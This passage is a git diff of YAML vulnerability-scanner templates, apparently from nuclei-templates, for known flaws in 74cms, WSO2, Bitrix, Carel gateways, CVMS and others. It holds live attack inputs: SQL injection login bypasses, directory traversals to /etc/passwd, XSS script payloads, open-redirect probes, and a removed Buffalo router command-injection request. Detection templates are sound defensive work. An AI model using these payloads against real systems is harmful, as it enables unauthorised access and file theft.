--- /dev/null +++ b/vulnerabilities/other/74cms-sqli.yaml @@ -0,0 +1,30 @@ +id: 74cms-sqli + +info: + name: 74cms Sql Injection + author: princechaddha + severity: critical + description: A SQL injection vulnerability exists in 74cms 5.0.1 AjaxPersonalController.class.php. + reference: + - https://github.com/possib1e/vuln/issues/3 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cwe-id: CWE-89 + tags: 74cms,sqli + +variables: + num: "999999999" + +requests: + - method: GET + path: + - '{{BaseURL}}/index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=test") and extractvalue(1,concat(0x7e,md5({{num}}))) -- a' + + matchers: + - type: word + words: + - '{{md5({{num}})}}' + part: body + +# Enhanced by ritikchaddha on 2022/05/05 diff --git a/vulnerabilities/other/WSO2-2019-0598.yaml b/vulnerabilities/other/WSO2-2019-0598.yaml index 04fdb7b6f0..5b26787cd0 100644 --- a/vulnerabilities/other/WSO2-2019-0598.yaml +++ b/vulnerabilities/other/WSO2-2019-0598.yaml @@ -1,15 +1,19 @@ id: WSO2-2019-0598 info: - name: WSO2 < 5.8.0 - Server Side Request Forgery + name: WSO2 <5.8.0 - Server Side Request Forgery author: Amnotacat - severity: critical + severity: medium description: | - This vulnerability can be exploited by misusing the UI gadgets loading capability of the shindig web application. An attacker can alter a specific URL in the request causing the server to initiate a GET request to the altered URL. + WSO2 prior to version 5.8.0 is susceptible to a server-side request forgery vulnerability. This vulnerability can be exploited by misusing the UI gadgets loading capability of the shindig web application. An attacker can alter a specific URL in the request causing the server to initiate a GET request to the altered URL. reference: - https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2019-0598 remediation: | - Upgrade the product version to 5.8.0 or higher which are not affected by this SSRF vulnerability. + Upgrade the product version to 5.8.0 or higher. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N + cvss-score: 6.8 + cwe-id: CWE-918 tags: ssrf,wso2,shindig requests: @@ -25,4 +29,6 @@ requests: - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/05/26 diff --git a/vulnerabilities/other/acme-xss.yaml b/vulnerabilities/other/acme-xss.yaml index 3b4de118e0..8c6428f53a 100644 --- a/vulnerabilities/other/acme-xss.yaml +++ b/vulnerabilities/other/acme-xss.yaml @@ -1,7 +1,7 @@ id: acme-xss info: - name: ACME / Let's Encrypt Reflected XSS + name: ACME / Let's Encrypt Cross-Site Scripting author: pdteam severity: medium tags: xss,acme diff --git a/vulnerabilities/other/alumni-management-sqli.yaml b/vulnerabilities/other/alumni-management-sqli.yaml new file mode 100644 index 0000000000..2e2bd0ec71 --- /dev/null +++ b/vulnerabilities/other/alumni-management-sqli.yaml @@ -0,0 +1,44 @@ +id: alumni-management-sqli + +info: + name: Alumni Management System 1.0 - SQLi Authentication Bypass + author: arafatansari + severity: high + description: | + Alumni Management System Admin Login page can be bypassed with a simple SQLi to the username parameter. + reference: + - https://www.exploit-db.com/exploits/48883 + tags: sqli,auth-bypass,cms,edb,alumni + +requests: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=admin'+or+'1'%3D'1'%23&password=nuclei + + - | + GET /admin/index.php?page=home HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Welcome back Admin!' + - 'Alumni List' + condition: and + + - type: word + part: body + words: + - '#login-form' + negative: true + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/asanhamayesh-lfi.yaml b/vulnerabilities/other/asanhamayesh-lfi.yaml index 462ea627f3..8498ce7225 100644 --- a/vulnerabilities/other/asanhamayesh-lfi.yaml +++ b/vulnerabilities/other/asanhamayesh-lfi.yaml @@ -1,12 +1,17 @@ id: asanhamayesh-lfi info: - name: Asanhamayesh CMS 3.4.6 Directory traversal Vulnerability + name: Asanhamayesh CMS 3.4.6 - Local File Inclusion author: 0x_Akoko severity: high + description: Asanhamayesh CMS 3.4.6 is vulnerable to local file inclusion. reference: - https://cxsecurity.com/issue/WLB-2018030006 - https://asanhamayesh.com + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: asanhamayesh,lfi,traversal requests: @@ -23,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/aspnuke-openredirect.yaml b/vulnerabilities/other/aspnuke-openredirect.yaml index e6ce2c4e2f..1dcc28d81d 100644 --- a/vulnerabilities/other/aspnuke-openredirect.yaml +++ b/vulnerabilities/other/aspnuke-openredirect.yaml @@ -9,10 +9,10 @@ info: requests: - method: GET path: - - "{{BaseURL}}/gotoURL.asp?url=example.com&id=43569" + - "{{BaseURL}}/gotoURL.asp?url=interact.sh&id=43569" matchers: - type: regex part: header regex: - - '(?m)^(?:Location\s*:\s*)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?example\.com(?:\s*)$' \ No newline at end of file + - '(?m)^(?:Location\s*:\s*)(?:https?://|//)?(?:[a-zA-Z0-9\-_]*\.)?interact\.sh(?:\s*)$' \ No newline at end of file diff --git a/vulnerabilities/other/avada-xss.yaml b/vulnerabilities/other/avada-xss.yaml index 6c0001f1f3..ccfb12bf6f 100644 --- a/vulnerabilities/other/avada-xss.yaml +++ b/vulnerabilities/other/avada-xss.yaml @@ -1,14 +1,14 @@ id: avada-xss info: - name: Avada < 7.4.2 - Reflected Cross-Site Scripting + name: Avada < 7.4.2 - Cross-Site Scripting author: Akincibor severity: medium description: The theme does not properly escape bbPress searches before outputting them back as breadcrumbs, leading to a Reflected Cross-Site Scripting issue. reference: - https://wpscan.com/vulnerability/eb172b07-56ab-41ce-92a1-be38bab567cb - https://theme-fusion.com/documentation/avada/installation-maintenance/avada-changelog/ - tags: xss,wp,wordpress,wp-theme,avada + tags: xss,wp,wordpress,wp-theme,avada,wpscan requests: - method: GET diff --git a/vulnerabilities/other/bems-api-lfi.yaml b/vulnerabilities/other/bems-api-lfi.yaml index fa2efedbb9..f451d4fc6b 100644 --- a/vulnerabilities/other/bems-api-lfi.yaml +++ b/vulnerabilities/other/bems-api-lfi.yaml @@ -1,13 +1,18 @@ id: bems-api-lfi info: - name: Longjing Technology BEMS API 1.21 - Arbitrary File Retrieval + name: Longjing Technology BEMS API 1.21 - Local File Inclusion author: gy741 severity: high - description: The application suffers from an unauthenticated arbitrary file retrieval vulnerability. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. + description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php - tags: lfi + - https://packetstormsecurity.com/files/163702/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: lfi,packetstorm requests: - method: GET @@ -23,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/beward-ipcamera-disclosure.yaml b/vulnerabilities/other/beward-ipcamera-disclosure.yaml index 7914b6da9f..1f6c764641 100644 --- a/vulnerabilities/other/beward-ipcamera-disclosure.yaml +++ b/vulnerabilities/other/beward-ipcamera-disclosure.yaml @@ -12,7 +12,7 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N cvss-score: 8.6 cwe-id: CWE-22 - tags: iot,camera,disclosure + tags: iot,camera,disclosure,edb requests: - method: GET diff --git a/vulnerabilities/other/bitrix-open-redirect.yaml b/vulnerabilities/other/bitrix-open-redirect.yaml index 676932a520..d717cc9e11 100644 --- a/vulnerabilities/other/bitrix-open-redirect.yaml +++ b/vulnerabilities/other/bitrix-open-redirect.yaml @@ -7,30 +7,30 @@ info: description: The Bitrix Russia Site Management 2.0 accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. reference: - https://packetstormsecurity.com/files/151955/1C-Bitrix-Site-Management-Russia-2.0-Open-Redirection.html - tags: redirect,bitrix + tags: redirect,bitrix,packetstorm requests: - method: GET path: - - '{{BaseURL}}/bitrix/rk.php?goto=https://example.com' - - '{{BaseURL}}/bitrix/redirect.php?event1=&event2=&event3=&goto=https://example.com' - - '{{BaseURL}}/bitrix/redirect.php?event3=352513&goto=https://example.com' - - '{{BaseURL}}/bitrix/redirect.php?event1=demo_out&event2=sm_demo&event3=pdemo&goto=https://example.com' - - '{{BaseURL}}/bitrix/redirect.php?site_id=s1&event1=select_product_t1&event2=contributions&goto=https://example.com' - - '{{BaseURL}}/bitrix/redirect.php?event1=&event2=&event3=download&goto=https://example.com' - - '{{BaseURL}}/bitrix/rk.php?id=28&site_id=s2&event1=banner&event2=click&event3=3+%2F+%5B28%5D+%5BBANNER_AREA_FOOTER2%5D+%D0%9F%D0%BE%D1%81%D0%B5%D1%82%D0%B8%D1%82%D0%B5+%D0%B2%D0%B2%D0%BE%D0%B4%D0%BD%D1%83%D1%8E+%D0%B1%D0%B5%D1%81%D0%BF%D0%BB%D0%B0%D1%82%D0%BD%D1%83%D1%8E+%D0%BB%D0%B5%D0%BA%D1%86%D0%B8%D1%8E+APTOS&goto=https://example.com' - - '{{BaseURL}}/bitrix/rk.php?id=84&site_id=n1&event1=banner&event2=click&event3=1+%2F+%5B84%5D+%5BMOBILE_HOME%5D+Love+Card&goto=https://example.com' - - '{{BaseURL}}/bitrix/rk.php?id=691&site_id=s3&event1=banner&event2=click&event3=1+%2F+%5B691%5D+%5BNEW_INDEX_BANNERS%5D+Trade-in+football&goto=https://example.com' - - '{{BaseURL}}/bitrix/rk.php?id=129&event1=banner&event2=click&event3=5+%2F+%5B129%5D+%5BGARMIN_AKCII%5D+Garmin+%E1%EE%ED%F3%F1+%ED%EE%E2%EE%F1%F2%FC+%E2+%E0%EA%F6%E8%E8&goto=https://example.com' - - '{{BaseURL}}/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://example.com' - - '{{BaseURL}}/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://example.com' + - '{{BaseURL}}/bitrix/rk.php?goto=https://interact.sh' + - '{{BaseURL}}/bitrix/redirect.php?event1=&event2=&event3=&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/redirect.php?event3=352513&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/redirect.php?event1=demo_out&event2=sm_demo&event3=pdemo&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/redirect.php?site_id=s1&event1=select_product_t1&event2=contributions&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/redirect.php?event1=&event2=&event3=download&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/rk.php?id=28&site_id=s2&event1=banner&event2=click&event3=3+%2F+%5B28%5D+%5BBANNER_AREA_FOOTER2%5D+%D0%9F%D0%BE%D1%81%D0%B5%D1%82%D0%B8%D1%82%D0%B5+%D0%B2%D0%B2%D0%BE%D0%B4%D0%BD%D1%83%D1%8E+%D0%B1%D0%B5%D1%81%D0%BF%D0%BB%D0%B0%D1%82%D0%BD%D1%83%D1%8E+%D0%BB%D0%B5%D0%BA%D1%86%D0%B8%D1%8E+APTOS&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/rk.php?id=84&site_id=n1&event1=banner&event2=click&event3=1+%2F+%5B84%5D+%5BMOBILE_HOME%5D+Love+Card&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/rk.php?id=691&site_id=s3&event1=banner&event2=click&event3=1+%2F+%5B691%5D+%5BNEW_INDEX_BANNERS%5D+Trade-in+football&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/rk.php?id=129&event1=banner&event2=click&event3=5+%2F+%5B129%5D+%5BGARMIN_AKCII%5D+Garmin+%E1%EE%ED%F3%F1+%ED%EE%E2%EE%F1%F2%FC+%E2+%E0%EA%F6%E8%E8&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://interact.sh' + - '{{BaseURL}}/bitrix/redirect.php?event1=%D0%A1%D0%BF%D0%B5%D1%86%D0%B8%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B5+%D0%B4%D0%BE%D0%BA%D0%BB%D0%B0%D0%B4%D1%8B&event2=&event3=download&goto=https://interact.sh' stop-at-first-match: true matchers-condition: and matchers: - type: regex regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)example\.com.*$' + - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' part: header - type: status diff --git a/vulnerabilities/other/blue-ocean-excellence-lfi.yaml b/vulnerabilities/other/blue-ocean-excellence-lfi.yaml index d2f7caa672..e16f0ecf1e 100644 --- a/vulnerabilities/other/blue-ocean-excellence-lfi.yaml +++ b/vulnerabilities/other/blue-ocean-excellence-lfi.yaml @@ -1,11 +1,16 @@ id: blue-ocean-excellence-lfi info: - name: Blue Ocean Excellence LFI + name: Blue Ocean Excellence - Local File Inclusion author: pikpikcu severity: high + description: Blue Ocean Excellence is vulnerable to local file inclusion. reference: - https://blog.csdn.net/qq_41901122/article/details/116786883 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: blue-ocean,lfi requests: @@ -23,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/buffalo-config-injection.yaml b/vulnerabilities/other/buffalo-config-injection.yaml deleted file mode 100644 index ba678d6928..0000000000 --- a/vulnerabilities/other/buffalo-config-injection.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: buffalo-config-injection - -info: - name: Buffalo WSR-2533DHPL2 - Configuration File Injection - author: gy741 - severity: critical - description: | - The web interfaces of Buffalo WSR-2533DHPL2 firmware version <= 1.02 and WSR-2533DHP3 firmware version <= 1.24 do not properly sanitize user input. An authenticated remote attacker could leverage this vulnerability to alter device configuration, potentially gaining remote code execution. - reference: - - https://blogs.juniper.net/en-us/security/freshly-disclosed-vulnerability-cve-2021-20090-exploited-in-the-wild - - https://www.tenable.com/security/research/tra-2021-13 - - https://medium.com/tenable-techblog/bypassing-authentication-on-arcadyan-routers-with-cve-2021-20090-and-rooting-some-buffalo-ea1dd30980c2 - tags: buffalo,firmware,iot - -requests: - - raw: - - | - POST /images/..%2fapply_abstract.cgi HTTP/1.1 - Host: {{Hostname}} - Connection: close - - action=start_ping&submit_button=ping.html&action_params=blink_time%3D5&ARC_ping_ipaddress=127.0.0.1%0A - ARC_SYS_TelnetdEnable=1&ARC_ping_status=0&TMP_Ping_Type=4 - - matchers-condition: and - matchers: - - type: word - part: header - words: - - "/Success.htm" - - - type: status - status: - - 302 \ No newline at end of file diff --git a/vulnerabilities/other/bullwark-momentum-lfi.yaml b/vulnerabilities/other/bullwark-momentum-lfi.yaml index 55d671db0b..b870a1d767 100644 --- a/vulnerabilities/other/bullwark-momentum-lfi.yaml +++ b/vulnerabilities/other/bullwark-momentum-lfi.yaml @@ -1,18 +1,22 @@ id: bullwark-momentum-lfi info: - name: Bullwark Momentum Series JAWS 1.0 - Directory Traversal + name: Bullwark Momentum Series JAWS 1.0 - Local File Inclusion author: pikpikcu severity: high + description: Bullwark Momentum Series JAWS 1.0 is vulnerable to local file inclusion. reference: - https://www.exploit-db.com/exploits/47773 - - http://www.bullwark.net/ # vendor homepage - http://www.bullwark.net/Kategoriler.aspx?KategoriID=24 # software link + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 metadata: version: Bullwark Momentum Series Web Server JAWS/1.0 - shodan-query: https://www.shodan.io/search?query=Bullwark&page=1 - fofa-query: https://fofa.so/result?q=Bullwark&qbase64=QnVsbHdhcms%3D - tags: bullwark,lfi + shodan-query: Bullwark + fofa-query: "Bullwark" + tags: lfi,edb,bullwark requests: - raw: @@ -31,3 +35,5 @@ requests: - type: regex regex: - "root:.*:0:0:" + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/carel-bacnet-gateway-traversal.yaml b/vulnerabilities/other/carel-bacnet-gateway-traversal.yaml new file mode 100644 index 0000000000..f7b252cac6 --- /dev/null +++ b/vulnerabilities/other/carel-bacnet-gateway-traversal.yaml @@ -0,0 +1,27 @@ +id: carel-bacnet-gateway-traversal + +info: + name: Carel pCOWeb HVAC BACnet Gateway 2.1.0 - Local File Inclusion + author: gy741 + severity: high + description: Carel pCOWeb HVAC BACnet Gateway 2.1.0 is vulnerable to local file inclusion because of input passed through the 'file' GET parameter through the 'logdownload.cgi' Bash script is not properly verified before being used to download log files. This can be exploited to disclose the contents of arbitrary and sensitive files via directory traversal attacks. + reference: + - https://www.zeroscience.mk/codes/carelpco_dir.txt + - https://thecyberpost.com/tools/exploits-cve/carel-pcoweb-hvac-bacnet-gateway-2-1-0-unauthenticated-directory-traversal/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 + tags: carel,lfi,traversal,unauth,bacnet + +requests: + - method: GET + path: + - "{{BaseURL}}/usr-cgi/logdownload.cgi?file=../../../../../../../../etc/passwd" + + matchers: + - type: regex + regex: + - "root:.*:0:0:" + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/carrental-xss.yaml b/vulnerabilities/other/carrental-xss.yaml new file mode 100644 index 0000000000..c9625edd14 --- /dev/null +++ b/vulnerabilities/other/carrental-xss.yaml @@ -0,0 +1,66 @@ +id: carrental-xss + +info: + name: Car Rental Management System v1.0 - Stored Cross-Site Scripting + author: arafatansari + severity: medium + description: | + Car Rental Management System v1.0 is vulnerable to Cross Site Scripting via admin/ajax.php?action=save_category in Name and Description Parameter. + reference: + - https://www.exploit-db.com/exploits/49546 + - https://www.sourcecodester.com/ + metadata: + verified: true + shodan-query: http.html:"Car Rental Management System" + tags: xss,cms,authenticated,edb + +requests: + - raw: + - | + POST /admin/ajax.php?action=login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}} + + - | + POST /admin/ajax.php?action=save_category HTTP/1.1 + Host: {{Hostname}} + Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCMJ5bh3B6m9767Em + + ------WebKitFormBoundaryCMJ5bh3B6m9767Em + Content-Disposition: form-data; name="id" + + + ------WebKitFormBoundaryCMJ5bh3B6m9767Em + Content-Disposition: form-data; name="name" + + + ------WebKitFormBoundaryCMJ5bh3B6m9767Em + Content-Disposition: form-data; name="description" + + + ------WebKitFormBoundaryCMJ5bh3B6m9767Em-- + + - | + GET /admin/index.php?page=categories HTTP/1.1 + Host: {{Hostname}} + + redirects: true + max-redirects: 2 + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - '

Name: ' + + - type: word + part: header + words: + - text/html + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/caucho-resin-info-disclosure.yaml b/vulnerabilities/other/caucho-resin-info-disclosure.yaml index 11dea3cf9b..dc7fea1829 100644 --- a/vulnerabilities/other/caucho-resin-info-disclosure.yaml +++ b/vulnerabilities/other/caucho-resin-info-disclosure.yaml @@ -6,7 +6,7 @@ info: severity: info reference: - https://www.exploit-db.com/exploits/27888 - tags: exposure,resin,caucho + tags: exposure,resin,caucho,edb requests: - method: GET diff --git a/vulnerabilities/other/ckan-dom-based-xss.yaml b/vulnerabilities/other/ckan-dom-based-xss.yaml index 7cc02f4bf3..75408652e9 100644 --- a/vulnerabilities/other/ckan-dom-based-xss.yaml +++ b/vulnerabilities/other/ckan-dom-based-xss.yaml @@ -1,7 +1,7 @@ id: ckan-dom-based-xss info: - name: CKAN DOM Based XSS + name: CKAN DOM Based Cross-Site Scripting author: dhiyaneshDk severity: medium description: CKAN uses the old jQuery Sparkle library which is vulnerable to DOM Based XSS. diff --git a/vulnerabilities/other/clockwatch-enterprise-rce.yaml b/vulnerabilities/other/clockwatch-enterprise-rce.yaml index 20c5c15802..cba3b3ef94 100644 --- a/vulnerabilities/other/clockwatch-enterprise-rce.yaml +++ b/vulnerabilities/other/clockwatch-enterprise-rce.yaml @@ -1,11 +1,17 @@ id: clockwatch-enterprise-rce info: - name: ClockWatch Enterprise RCE + name: ClockWatch Enterprise - Remote Code Execution author: gy741 severity: critical + description: | + ClockWatch Enterprise is susceptible to remote code execution. reference: - https://blog.grimm-co.com/2021/07/old-dog-same-tricks.html + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 tags: clockwatch,rce,network network: @@ -27,3 +33,5 @@ network: - type: word words: - "OK-C" + +# Enhanced by mp on 2022/05/27 diff --git a/vulnerabilities/other/coldfusion-debug-xss.yaml b/vulnerabilities/other/coldfusion-debug-xss.yaml index 4de60288e2..0aa70de503 100644 --- a/vulnerabilities/other/coldfusion-debug-xss.yaml +++ b/vulnerabilities/other/coldfusion-debug-xss.yaml @@ -1,7 +1,7 @@ id: coldfusion-debug-xss info: - name: Adobe ColdFusion Debug Page XSS + name: Adobe ColdFusion Debug Page Cross-Site Scripting author: dhiyaneshDK severity: medium description: The remote Adobe ColdFusion debug page has been left open to unauthenticated users, this could allow remote attackers to trigger a reflected cross site scripting against the visitors of the site. diff --git a/vulnerabilities/other/commax-biometric-auth-bypass.yaml b/vulnerabilities/other/commax-biometric-auth-bypass.yaml index dd820dfb22..a83ef1582e 100644 --- a/vulnerabilities/other/commax-biometric-auth-bypass.yaml +++ b/vulnerabilities/other/commax-biometric-auth-bypass.yaml @@ -4,11 +4,12 @@ info: name: COMMAX Biometric Access Control System 1.0.0 - Authentication Bypass author: gy741 severity: critical - description: The COMMAX Biometric Access Control System suffers from an authentication bypass vulnerability. An unauthenticated attacker through cookie poisoning can bypass authentication and disclose sensitive information and circumvent physical controls in smart homes and buildings. + description: | + COMMAX Biometric Access Control System 1.0.0 suffers from an authentication bypass vulnerability. An unauthenticated attacker through cookie poisoning can bypass authentication and disclose sensitive information and circumvent physical controls in smart homes and buildings. reference: - https://www.exploit-db.com/exploits/50206 - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5661.php - tags: commax,auth-bypass + tags: commax,auth-bypass,edb requests: - raw: @@ -21,11 +22,9 @@ requests: matchers-condition: and matchers: - - type: status - status: - - 200 - type: word + part: body words: - "::: COMMAX :::" @@ -33,3 +32,8 @@ requests: part: header words: - "text/html" + + - type: status + status: + - 200 +# Enhanced by mp on 2022/05/27 diff --git a/vulnerabilities/other/commax-credentials-disclosure.yaml b/vulnerabilities/other/commax-credentials-disclosure.yaml index 3c33beb354..c155fb68ba 100644 --- a/vulnerabilities/other/commax-credentials-disclosure.yaml +++ b/vulnerabilities/other/commax-credentials-disclosure.yaml @@ -4,7 +4,8 @@ info: name: COMMAX Smart Home Ruvie CCTV Bridge DVR - RTSP Credentials Disclosure author: gy741 severity: critical - description: The COMMAX CCTV Bridge for the DVR service allows an unauthenticated attacker to disclose RTSP credentials in plain-text + description: | + The COMMAX CCTV Bridge for the DVR service allows an unauthenticated attacker to disclose real time streaming protocol (RTSP) credentials in plain-text. reference: - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5665.php tags: commax,exposure,camera,iot @@ -16,6 +17,7 @@ requests: matchers: - type: word + part: body words: - "DVR Lists" - "rtsp://" @@ -28,3 +30,5 @@ requests: part: body regex: - 'rtsp:\/\/([a-z:0-9A-Z@$.]+)\/Streaming\/Chann' + +# Enhanced by mp on 2022/05/27 diff --git a/vulnerabilities/other/comtrend-password-exposure.yaml b/vulnerabilities/other/comtrend-password-exposure.yaml index da04291a2e..85ea879e96 100644 --- a/vulnerabilities/other/comtrend-password-exposure.yaml +++ b/vulnerabilities/other/comtrend-password-exposure.yaml @@ -7,7 +7,7 @@ info: description: A vulnerability in COMTREND ADSL Router allows remote authenticated users to execute arbitrary commands via the telnet interface, the password for this interface is leaked to unauthenticated users via the 'password.cgi' endpoint. reference: - https://www.exploit-db.com/exploits/16275 - tags: router,exposure,iot,rce + tags: router,exposure,iot,rce,edb requests: - method: GET diff --git a/vulnerabilities/other/core-chuangtian-cloud-rce.yaml b/vulnerabilities/other/core-chuangtian-cloud-rce.yaml index cab900eaf7..baf19d8ef4 100644 --- a/vulnerabilities/other/core-chuangtian-cloud-rce.yaml +++ b/vulnerabilities/other/core-chuangtian-cloud-rce.yaml @@ -1,12 +1,17 @@ id: core-chuangtian-cloud-rce info: - name: Core Chuangtian Cloud Desktop System RCE + name: Core Chuangtian Cloud Desktop System - Remote Code Execution author: pikpikcu severity: critical + description: Core Chuangtian Cloud Desktop System is susceptible to remote code execution vulnerabilities. reference: - https://mp.weixin.qq.com/s/wH5luLISE_G381W2ssv93g - tags: rce + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H + cvss-score: 10.0 + cwe-id: CWE-77 + tags: rce,fileupload,intrusive requests: - raw: @@ -36,3 +41,5 @@ requests: - 'contains(body_2, "PHP Version")' - 'status_code_2 == 200' condition: and + +# Enhanced by mp on 2022/06/01 diff --git a/vulnerabilities/other/crystal-live-server-lfi.yaml b/vulnerabilities/other/crystal-live-server-lfi.yaml new file mode 100644 index 0000000000..8e56585214 --- /dev/null +++ b/vulnerabilities/other/crystal-live-server-lfi.yaml @@ -0,0 +1,22 @@ +id: crystal-live-server-lfi + +info: + name: Crystal Live HTTP Server 6.01 - Directory Traversal + author: 0x_Akoko + severity: high + reference: https://cxsecurity.com/issue/WLB-2019110127 + tags: lfi,crystal + +requests: + - method: GET + path: + - "{{BaseURL}}/../../../../../../../../../../../../windows/win.ini" + + matchers: + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and diff --git a/vulnerabilities/other/cs-cart-unauthenticated-lfi.yaml b/vulnerabilities/other/cs-cart-unauthenticated-lfi.yaml index 1f0775c517..a5a31a0e5f 100644 --- a/vulnerabilities/other/cs-cart-unauthenticated-lfi.yaml +++ b/vulnerabilities/other/cs-cart-unauthenticated-lfi.yaml @@ -1,12 +1,16 @@ id: cs-cart-unauthenticated-lfi info: - name: CS-Cart unauthenticated LFI + name: CS-Cart - Local File Inclusion author: 0x_Akoko severity: high - description: A vulnerability in CS-Cart allows remote unauthenticated attackers to access locally stored files and reveal their content. + description: CS-Cart is vulnerable to local file inclusion because it allows remote unauthenticated attackers to access locally stored files and reveal their content. reference: - https://cxsecurity.com/issue/WLB-2020100100 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cwe-id: CWE-22 tags: cscart,lfi requests: @@ -24,3 +28,5 @@ requests: - type: status status: - 200 + +# Enhanced by mp on 2022/07/22 diff --git a/vulnerabilities/other/cvms-sqli.yaml b/vulnerabilities/other/cvms-sqli.yaml new file mode 100644 index 0000000000..01f4dfb269 --- /dev/null +++ b/vulnerabilities/other/cvms-sqli.yaml @@ -0,0 +1,38 @@ +id: cvms-sqli + +info: + name: Company Visitor Management System (CVMS) 1.0 - SQLi Authentication Bypass + author: arafatansari + severity: high + description: | + Company Visitor Management System Login page can be bypassed with a simple SQLi to the username parameter. + reference: + - https://www.exploit-db.com/exploits/48884 + metadata: + verified: true + tags: cvms,sqli,auth-bypass,cms,edb + +requests: + - raw: + - | + POST /index.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username=admin%27+or+%271%27%3D%271%27%23&password=nuclei&login= + + redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'Admin user' + - 'Dashboard' + - 'CVMS' + condition: and + + - type: status + status: + - 200 diff --git a/vulnerabilities/other/devalcms-xss.yaml b/vulnerabilities/other/devalcms-xss.yaml new file mode 100644 index 0000000000..ed7a954353 --- /dev/null +++ b/vulnerabilities/other/devalcms-xss.yaml @@ -0,0 +1,34 @@ +id: devalcms-xss + +info: + name: Devalcms 1.4A - Cross-Site Scripting + author: arafatansari + severity: medium + description: | + Devalcms 1.4A is affected by Cross-Site Scripting (rXSS) in the 'currentpath' parameter of the index.php file. + reference: + - https://www.exploit-db.com/exploits/6369 + metadata: + verified: true + tags: devalcms,xss,cms,edb + +requests: + - method: GET + path: + - '{{BaseURL}}/index.php?currentpath=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: 